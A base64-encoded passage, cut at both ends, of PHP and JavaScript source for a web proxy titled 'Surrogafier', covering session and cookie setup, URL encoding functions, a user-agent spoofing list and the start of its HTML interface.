lwc2xhc2hlc19yZWN1cnNlKCRfUE9TVCk7DQoJJF9DT09LSUU9c3RyaXBzbGFzaGVzX3JlY3Vyc2UoJF9DT09LSUUpOw0KfQ0KDQojIHNjcmlwdCBlbnZpcm9ubWVudCBjb25zdGFudHMNCmlmKCFkZWZpbmVkKCdQUk9UTycpKSBkZWZpbmUoJ1BST1RPJywoJF9TRVJWRVJbJ0hUVFBTJ109PSdvbic/J2h0dHBzJzonaHR0cCcpKTsNCmRlZmluZSgnVkVSU0lPTicsJzEuMC1yYzMnKTsNCmRlZmluZSgnVEhJU19TQ1JJUFQnLFBST1RPLiI6Ly97JF9TRVJWRVJbJ0hUVFBfSE9TVCddfXskX1NFUlZFUlsnUEhQX1NFTEYnXX0iKTsNCmRlZmluZSgnU0lNUExFX01PREUnLERFRkFVTFRfU0lNUExFIHx8IEZPUkNFX1NJTVBMRSk7DQoNCiMgUmFuZG9taXplZCBjb29raWUgcHJlZml4ZXMgIw0KZnVuY3Rpb24gZ2VuX3JhbmRzdHIoJGxlbil7DQoJJGNoYXJzPW51bGw7DQoJZm9yKCRpPTA7JGk8JGxlbjskaSsrKXsNCgkJJGNoYXI9cmFuZCgwLDI1KTsNCgkJJGNoYXI9Y2hyKCRjaGFyKzk3KTsNCgkJJGNoYXJzLj0kY2hhcjsNCgl9DQoJcmV0dXJuICRjaGFyczsNCn0NCg0KZnVuY3Rpb24gZG9zZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmU9bnVsbCl7DQoJJF9DT09LSUVbJGNvb2tuYW1lXT0kY29va3ZhbDsNCglpZigkZXhwaXJlPT09bnVsbCkgc2V0Y29va2llKCRjb29rbmFtZSwkY29va3ZhbCk7DQoJZWxzZSBzZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmUpOw0KfQ0KDQpkZWZpbmUoJ0ZJUlNUX0xPQUQnLGVtcHR5KCRfQ09PS0lFWydQSFBTRVNTSUQnXSkpOw0Kc2Vzc2lvbl9zdGFydCgpOw0KaWYoZW1wdHkoJF9TRVNTSU9OWydzZXNzcHJlZiddKSl7DQoJJHNlc3NwcmVmPWdlbl9yYW5kc3RyKDMwKTsNCgkkX1NFU1NJT05bJ3Nlc3NwcmVmJ109JHNlc3NwcmVmOw0KfQ0KZWxzZSAkc2Vzc3ByZWY9JF9TRVNTSU9OWydzZXNzcHJlZiddOw0KDQppZihlbXB0eSgkX0NPT0tJRVsndXNlciddKSl7DQoJJGNvb2twcmVmPWdlbl9yYW5kc3RyKDEyKTsNCglkb3NldGNvb2tpZSgndXNlcicsJGNvb2twcmVmKTsNCn0NCmVsc2UgJGNvb2twcmVmPSRfQ09PS0lFWyd1c2VyJ107DQoNCmRlZmluZSgnU0VTU19QUkVGJywkc2Vzc3ByZWYpOw0KZGVmaW5lKCdDT09LX1BSRUYnLCRjb29rcHJlZik7DQpkZWZpbmUoJ0NPT0tJRV9TRVBBUkFUT1InLCdfXycuQ09PS19QUkVGLidfXycpOw0KdW5zZXQoJHNlc3NwcmVmLCRjb29rcHJlZik7DQoNCmlmKEZJUlNUX0xPQUQpew0KCWlmKERFRkFVTFRfVVJMX0ZPUk0pIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3VybF9mb3JtJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9DT09LSUVTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9SRU1PVkVfUkVGRVJFUikgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLHRydWUpOw0KCWlmKERFRkFVTFRfUkVNT1ZFX1NDUklQVFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9PQkpFQ1RTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX1VSTFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2VuY3J5cHRfdXJscycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX0NPT0tTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyx0cnVlKTsNCn0NCg0KIyB9fX0NCg0KIyBFTlZJUk9OTUVOVCBTRVRVUCB7e3sNCg0KZ2xvYmFsICRwb3N0YW5kZ2V0LCRibG9ja2VkX2FkZHJlc3NlcywkZG5zX2NhY2hlX2FycmF5Ow0KJHBvc3RhbmRnZXQ9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTsNCg0KZGVmaW5lKCdQQUdFVFlQRV9NSU5JUkVHRVhQJywnKD1bX1wuXC1dP1wmPXw9KT8nKTsNCmRlZmluZSgnUEFHRVRZUEVfUkVHRVhQJywnL14nLlBBR0VUWVBFX01JTklSRUdFWFAuJyguKikkLycpOw0KaWYoIWVtcHR5KCRwb3N0YW5kZ2V0W0NPT0tfUFJFRl0pKSAkb2VuY191cmw9JHBvc3RhbmRnZXRbQ09PS19QUkVGXTsNCmVsc2V7DQoJJHBhZ2V0eXBlX3N0cj1wcmVnX3JlcGxhY2UoUEFHRVRZUEVfUkVHRVhQLCdcMScsJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTsNCglkZWZpbmUoJ1FVRVJZX1NUUklORycsc3Vic3RyKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSxzdHJsZW4oJHBhZ2V0eXBlX3N0ciksc3RybGVuKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSktc3RybGVuKCRwYWdldHlwZV9zdHIpKSk7DQoJZGVmaW5lKCdQQUdFVFlQRV9OVUxMJywwKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZPUkNFX01BSU4nLDEpOw0KCWRlZmluZSgnUEFHRVRZUEVfRlJBTUVfVE9QJywyKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywzKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9DSElMRCcsNCk7ICMgZnJhbWluZyBjaGlsZHJlbiBmb3IgY3JpbWVzIGlzbid0IHZlcnkgbmljZSwgYnV0IHRoZSBzY3JpcHQgZG9lcyBpdCBhbnl3YXkNCglzd2l0Y2goJHBhZ2V0eXBlX3N0cil7DQoJCWNhc2UgJz0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FX1RPUCk7IGJyZWFrOw0KCQljYXNlICc9XyY9JzogZGVmaW5lKCdQQUdFVFlQRV9JRCcsUEFHRVRZUEVfRlJBTUVEX1BBR0UpOyBicmVhazsNCgkJY2FzZSAnPS0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZPUkNFX01BSU4pOyBicmVhazsNCgkJY2FzZSAnPS4mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FRF9DSElMRCk7IGJyZWFrOw0KIyB0aGlzIGlzIG9uZSBtb3JlIHVuZW5jb2RlZCBzdHJpbmcgZm9yIGZ1dHVyZSBmZWF0dXJlcw0KIwkJY2FzZSAnPSomPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLCk7IGJyZWFrOw0KCQlkZWZhdWx0OiBkZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdFVFlQRV9OVUxMKTsgYnJlYWs7DQoJfQ0KCXVuc2V0KCRwYWdldHlwZV9zdHIpOw0KDQoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVfVE9QJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FX1RPUCkpOw0KCWRlZmluZSgnTkVXX1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FRF9QQUdFKSk7DQoNCgkkb2VuY191cmw9UVVFUllfU1RSSU5HOw0KCS8vZGVmaW5lKCdPRU5DX1VSTCcsdXJsZGVjb2RlKHByZWdfcmVwbGFjZSgnL14oW14mXSopLio/JC9pJywnXDEnLFFVRVJZX1NUUklORykpKTsNCn0NCmlmKHN0cnBvcyhzdWJzdHIoJG9lbmNfdXJsLDAsNiksJyUnKSE9PWZhbHNlIHx8IHN0cnBvcygkb2VuY191cmwsJyUnKTxzdHJwb3MoJG9lbmNfdXJsLCcvJykgfHwgc3RycG9zKCRvZW5jX3VybCwnJScpPHN0cnBvcygkb2VuY191cmwsJzonKSkgJG9lbmNfdXJsPXVybGRlY29kZSgkb2VuY191cmwpOw0KZGVmaW5lKCdPRU5DX1VSTCcscHJlZ19yZXBsYWNlKCcvXihbXlw/XCZdKylcJi9pJywnXDE/Jywkb2VuY191cmwpKTsNCnVuc2V0KCRvZW5jX3VybCk7DQpkZWZpbmUoJ09SSUdfVVJMJyxwcm94ZGVjKE9FTkNfVVJMKSk7DQpnbG9iYWwgJGN1cnJfdXJsOw0KJGN1cnJfdXJsPU9SSUdfVVJMOw0KDQpmdW5jdGlvbiBnZXRoYXJkYXR0cigkYXR0cil7DQoJZ2xvYmFsICRwb3N0YW5kZ2V0Ow0KCXJldHVybiAoZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLidfc2V0X3ZhbHVlcyddKT8hZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLiJfeyRhdHRyfSJdKTohZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLiJfeyRhdHRyfSJdKSk7DQp9DQpkZWZpbmUoJ0VOQ1JZUFRfVVJMUycsZ2V0aGFyZGF0dHIoJ2VuY3J5cHRfdXJscycpKTsNCmRlZmluZSgnVVJMX0ZPUk0nLGdldGhhcmRhdHRyKCd1cmxfZm9ybScpKTsNCmRlZmluZSgnUEFHRV9GUkFNRUQnLChQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEIHx8IFFVRVJZX1NUUklORz09J2pzX3JlZ2V4cHNfZnJhbWVkJyB8fCBRVUVSWV9TVFJJTkc9PSdqc19mdW5jc19mcmFtZWQnKSk7DQojZGVmaW5lKCdVUkxWQVInLChFTkNSWVBUX1VSTFM/J2UnOm51bGwpLid1cmwnKTsNCg0KIyB9fX0NCg0KIyBQSFAgREVDT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBteV9iYXNlNjRfZGVjb2RlKCRzdHJpbmcpeyByZXR1cm4gYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLHVybGRlY29kZSgkc3RyaW5nKSkpOyB9DQoNCmZ1bmN0aW9uIHByb3hkZWMoJHVybCl7DQoJaWYoJHVybHswfSE9J34nICYmIHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSkhPSclN2UnKSByZXR1cm4gJHVybDsNCgkjd2hpbGUoc3RycG9zKCR1cmwsJyUnKSE9PWZhbHNlKSAkdXJsPXVybGRlY29kZSgkdXJsKTsNCgkjJHVybD11cmxkZWNvZGUoJHVybCk7DQoJd2hpbGUoJHVybHswfT09J34nIHx8IHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSk9PSclN2UnKXsNCgkJJHVybD1zdWJzdHIoJHVybCwxKTsNCgkJJHVybD1teV9iYXNlNjRfZGVjb2RlKCR1cmwpOw0KCQkkbmV3X3VybD1udWxsOw0KCQlmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCQkkY2hhcj1vcmQoJHVybHskaX0pOw0KCQkJJGNoYXItPW9yZChzdWJzdHIoU0VTU19QUkVGLCRpJXN0cmxlbihTRVNTX1BSRUYpLDEpKTsNCgkJCXdoaWxlKCRjaGFyPDMyKSAkY2hhcis9OTQ7DQoJCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgkJfQ0KCQkkdXJsPSRuZXdfdXJsOw0KCX0NCglyZXR1cm4gdXJsZGVjb2RlKCR1cmwpOw0KfQ0KDQojIH19fQ0KDQojIEpBVkFTQ1JJUFQgRU5DT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBqc19wcm94ZW5jKCl7ID8+DQovLzxzY3JpcHQ+DQo8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlPXsNCmV4cG9uOmZ1bmN0aW9uKGEsYil7DQoJdmFyIG51bTsNCglpZihiPT0wKSByZXR1cm4gMTsNCgludW09YTsgYi0tOw0KCXdoaWxlKGI+MCl7IG51bSo9YTsgYi0tOyB9DQoJcmV0dXJuIG51bTsNCn0sDQoNCmRlY3RvYmluOmZ1bmN0aW9uKCl7DQoJdmFyIGRlYz1hcmd1bWVudHNbMF0sY2hhcnM9YXJndW1lbnRzWzFdfHw4LGJpbnJlcD0iIjsNCglmb3Ioaj1jaGFycy0xO2o+PTA7ai0tKXsNCgkJaWYoZGVjPj10aGlzLmV4cG9uKDIsaikpew0KCQkJYmlucmVwKz0iMSI7IGRlYy09dGhpcy5leHBvbigyLGopOw0KCQl9DQoJCWVsc2UgYmlucmVwKz0iMCI7DQoJfQ0KCXJldHVybiBiaW5yZXA7DQp9LA0KDQpiaW50b2RlYzpmdW5jdGlvbigpew0KCXZhciBiaW49YXJndW1lbnRzWzBdLGNoYXJzPWFyZ3VtZW50c1sxXXx8OCxkZWM9MDsNCglmb3IodmFyIGo9MDtqPGNoYXJzO2orKykgaWYoYmluLnN1YnN0cmluZyhqLGorMSk9PSIxIikgZGVjKz10aGlzLmV4cG9uKDIsY2hhcnMtMS1qKTsNCglyZXR1cm4gZGVjOw0KfSwNCg0KYjY0ZTpmdW5jdGlvbihzdHJpbmcpew0KCXZhciBlbmNzdHI9IiIsYmlucmVwPSIiOw0KCXZhciBjaGFyYmluLGNoYXJudW07DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtKTsNCgl9DQoJd2hpbGUoYmlucmVwLmxlbmd0aCU2KSBiaW5yZXArPSIwMCI7DQoJZm9yKHZhciBpPTE7aSo2PD1iaW5yZXAubGVuZ3RoO2krKyl7DQoJCWNoYXJiaW49YmlucmVwLnN1YnN0cmluZygoaS0xKSo2LGkqNik7DQoJCWNoYXJudW09dGhpcy5iaW50b2RlYyhjaGFyYmluLDYpOw0KCQlpZihjaGFybnVtPD0yNSkgY2hhcm51bSs9NjU7DQoJCWVsc2UgaWYoY2hhcm51bTw9NTEpIGNoYXJudW0rPTcxOw0KCQllbHNlIGlmKGNoYXJudW08PTYxKSBjaGFybnVtLT00Ow0KCQllbHNlIGlmKGNoYXJudW09PTYyKSBjaGFybnVtPTQzOw0KCQllbHNlIGlmKGNoYXJudW09PTYzKSBjaGFybnVtPTQ3Ow0KCQllbmNzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUoY2hhcm51bSk7DQoJfQ0KCXdoaWxlKGVuY3N0ci5sZW5ndGglOCkgZW5jc3RyKz0iPSI7DQoJcmV0dXJuIGVuY3N0cjsNCn0sDQoNCnByb3hlbmM6ZnVuY3Rpb24odXJsKXsNCgl2YXIgbmV3X3VybD0iIjsNCgl2YXIgY2hhcm51bTsNCglpZih1cmwuc3Vic3RyaW5nKDAsMSk9PSJ+IiB8fCB1cmwuc3Vic3RyaW5nKDAsMykudG9Mb3dlckNhc2UoKT09IiU3ZSIpIHJldHVybiB1cmw7DQoJdXJsPWVuY29kZVVSSUNvbXBvbmVudCh1cmwpOw0KCXZhciBzZXNzX3ByZWY9Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iOw0KCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7DQoJCWNoYXJudW0rPXNlc3NfcHJlZi5jaGFyQ29kZUF0KGklc2Vzc19wcmVmLmxlbmd0aCk7DQoJCXdoaWxlKGNoYXJudW0+MTI2KSBjaGFybnVtLT05NDsNCgkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgl9DQoJcmV0dXJuICJ+IitlbmNvZGVVUklDb21wb25lbnQodGhpcy5iNjRlKG5ld191cmwpKTsNCn0NCn0NCjw/IH0NCg0KIyB9fX0NCg0KIyBGSVJTVCBQQUdFIERJU1BMQVlFRCBXSEVOIEFDQ0VTU0lORyBQUk9YWSB7e3sNCg0KaWYoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GT1JDRV9NQUlOIHx8IChzdWJzdHIoUVVFUllfU1RSSU5HLDAsMykhPSdqc18nICYmIE9SSUdfVVJMPT1udWxsKSl7DQoNCiR1c2VyYWdlbnRpbmZvPW51bGw7DQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnd2luZG93cycpIT09ZmFsc2UgfHwgc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ3dpbjMyJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdXaW5kb3dzJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjaW50b3NoJykhPT1mYWxzZSB8fCBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjX3Bvd2VycGMnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J01hY2ludG9zaCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2xpbnV4JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdMaW51eCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2JzZCcpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nQlNEJzsNCmVsc2UgJHVzZXJhZ2VudGluZm8uPSdVbmtub3duJzsNCg0KJHVzZXJhZ2VudGluZm8uPScgLyAnOw0KDQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbXNpZScpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nSW50ZXJuZXQgRXhwbG9yZXInOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdmaXJlZm94JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdGaXJlZm94JzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbmV0c2NhcGUnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J05ldHNjYXBlJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnb3BlcmEnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J09wZXJhJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwna29ucXVlcm9yJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdLb25xdWVyb3InOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdzZWFtb25rZXknKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J1NlYU1vbmtleSc7DQplbHNlICR1c2VyYWdlbnRpbmZvLj0nVW5rbm93bic7DQoNCiR1c2VyYWdlbnRfYXJyYXk9YXJyYXkoDQoJYXJyYXkobnVsbCwiQWN0dWFsICh7JHVzZXJhZ2VudGluZm99KSIpLA0KCWFycmF5KCctMScsJyBbIERvblwndCBTZW5kIF0gJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MTAyNCBGaXJlZm94LzIuMCcsJ1dpbmRvd3MgWFAgLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBTVjEpJywnV2luZG93cyBYUCAvIEludGVybmV0IEV4cGxvcmVyIDcnKSwNCglhcnJheSgnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxKScsJ1dpbmRvd3MgWFAgLyBJbnRlcm5ldCBFeHBsb3JlciA2JyksDQoJYXJyYXkoJ09wZXJhLzkuMDIgKFdpbmRvd3MgTlQgNS4xOyBVOyBlbiknLCdXaW5kb3dzIFhQIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBQUEMgTWFjIE9TIFg7IGVuLVVTOyBydjoxLjguMSkgR2Vja28vMjAwNjEwMjQgRmlyZWZveC8yLjAnLCdNYWMgT1MgWCAvIEZpcmVmb3ggMi4wJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IFBQQyBNYWMgT1MgWDsgZW4pIEFwcGxlV2ViS2l0LzUyMS4yNSAoS0hUTUwsIGxpa2UgR2Vja28pIFNhZmFyaS81MjEuMjQnLCdNYWMgT1MgWCAvIFNhZmFyaSAzLjAnKSwNCglhcnJheSgnT3BlcmEvOS4wMiAoTWFjaW50b3NoOyBQUEMgTWFjIE9TIFg7IFU7IGVuKScsJ01hYyBPUyBYIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCBpNjg2OyBlbi1VUzsgcnY6MS44LjEpIEdlY2tvLzIwMDYxMDI0IEZpcmVmb3gvMi4wJywnTGludXggLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdPcGVyYS85LjAyIChYMTE7IExpbnV4IGk2ODY7IFU7IGVuKScsJ0xpbnV4IC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuNTsgTGludXgpIEtIVE1MLzMuNS41IChsaWtlIEdlY2tvKScsJ0xpbnV4IC8gS29ucXVlcm9yIDMuNS41JyksDQoJYXJyYXkoJ0xpbmtzICgyLjFwcmUxOTsgTGludXggMi42IGk2ODY7IHgpJywnTGludXggLyBMaW5rcyAoMi4xcHJlMTkpJyksDQoJYXJyYXkoJ0x5bngvMi44LjVyZWwuMScsJ0FueSAvIEx5bnggMi44LjVyZWwuMScpLA0KCWFycmF5KCdEaWxsby8wLjguNicsJ0FueSAvIERpbGxvIDAuOC42JyksDQoJYXJyYXkoJ1dnZXQvMS4xMC4yJywnQW55IC8gV2dldCAxLjEwLjInKSwNCglhcnJheSgnMScsJyBbIEN1c3RvbSBdIDxub3NjcmlwdD48Yj4qKjwvYj48L25vc2NyaXB0PicpDQopOw0KDQpkZWZpbmUoJ0lQUkVHRVhQJywnL14oKD86WzAtMl17MCwyfVswLTldezEsMn1cLil7M31bMC0yXXswLDJ9WzAtOV17MSwyfSlcOihbMC05XXsxLDV9KSQvJyk7DQoNCj8+DQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIiANCiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+U3Vycm9nYWZpZXI8L3RpdGxlPg0KPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJpbmRleCwgbm9mb2xsb3ciIC8+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zfQ0KCWlucHV0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJc2VsZWN0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJYXtjb2xvcjogIzAwMDAwMH0NCglhOmhvdmVye3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCgkuYWR2YW5jZWRfc3R1ZmZ7ZGlzcGxheTogPD9waHAgZWNobyhTSU1QTEVfTU9ERT8nbm9uZSc6J3RhYmxlLXJvdycpOyA/Pn0NCgkuc2ltcGxlX3N0dWZme2Rpc3BsYXk6IDw/cGhwIGVjaG8oU0lNUExFX01PREU/J3RhYmxlLXJvdyc6J25vbmUnKTsgPz59DQoJLnVybHt3aWR0aDogPD9waHAgZWNobyhTSU1QTEVfTU9ERT9TSU1QTEVfTU9ERV9VUkxXSURUSDonOTklJyk7ID8+fQ0KCS5zaWduYXR1cmV7ZmxvYXQ6IGxlZnR9DQo8P3BocCBpZihGT1JDRV9TSU1QTEUpeyA/Pg0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5zaWduYXR1cmV7dGV4dC1hbGlnbjogY2VudGVyOyBmbG9hdDogbm9uZX0NCjw/cGhwIH0gPz4NCjwvc3R5bGU+DQo8P3BocCBpZighRk9SQ0VfU0lNUExFKXsgPz48bm9zY3JpcHQ+PHN0eWxlPg0KCS5hZHZhbmNlZF9zdHVmZntkaXNwbGF5OiB0YWJsZS1yb3d9DQoJLnNpbXBsZV9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdHVybHt3aWR0aDogOTklfQ0KCS51cmx7ZGlzcGxheTogbm9uZX0NCgkuc2lnbmF0dXJle3RleHQtYWxpZ246IGNlbnRlcjsgZmxvYXQ6IG5vbmV9DQo8L3N0eWxlPjwvbm9zY3JpcHQ+PD9waHAgfSA/Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQo8IS0tDQoNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gdXNlcmFnZW50X2NoZWNrKGZvY3VzKXsNCglpZihkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQnKVswXS52YWx1ZT09JzEnKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSIiOw0KCQlpZihmb2N1cykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCcpLmZvY3VzKCk7DQoJfQ0KCWVsc2UgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCn0NCg0KPD9waHAgaWYoIUZPUkNFX1NJTVBMRSl7ID8+DQphZHZhbmNlZF9tb2RlPXRydWU7DQpmdW5jdGlvbiB0b2dnbGVfbW9kZSgpew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJtb2RlX3RvZ2dsZXIiKS5pbm5lckhUTUw9KGFkdmFuY2VkX21vZGU/IkFkdmFuY2VkIE1vZGUiOiJTaW1wbGUgTW9kZSIpOw0KCXZhciBhZHZhbmNlZF9zdHVmZj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidHIiKTsNCglmb3IodmFyIGk9MTtpPD0xMjtpKyspIGFkdmFuY2VkX3N0dWZmW2ldLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/Im5vbmUiOiIiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2ltcGxlX3N1Ym1pdCIpLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/ImlubGluZSI6Im5vbmUiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXJsIikuc3R5bGUud2lkdGg9KGFkdmFuY2VkX21vZGU/Ijw/cGhwIGVjaG8oU0lNUExFX01PREVfVVJMV0lEVEgpOyA/PiI6Ijk5JSIpOw0KCWFkdmFuY2VkX21vZGU9IWFkdmFuY2VkX21vZGU7DQoJaWYoYWR2YW5jZWRfbW9kZSkgdXNlcmFnZW50X2NoZWNrKGZhbHNlKTsNCglzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykuZm9jdXMoKTsiLDEwMCk7DQp9DQo8P3BocCB9ID8+DQoNCmZ1bmN0aW9uIHN1Ym1pdF9jb2RlKCl7DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kaXNhYmxlZD1mYWxzZTsNCglpZihkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFR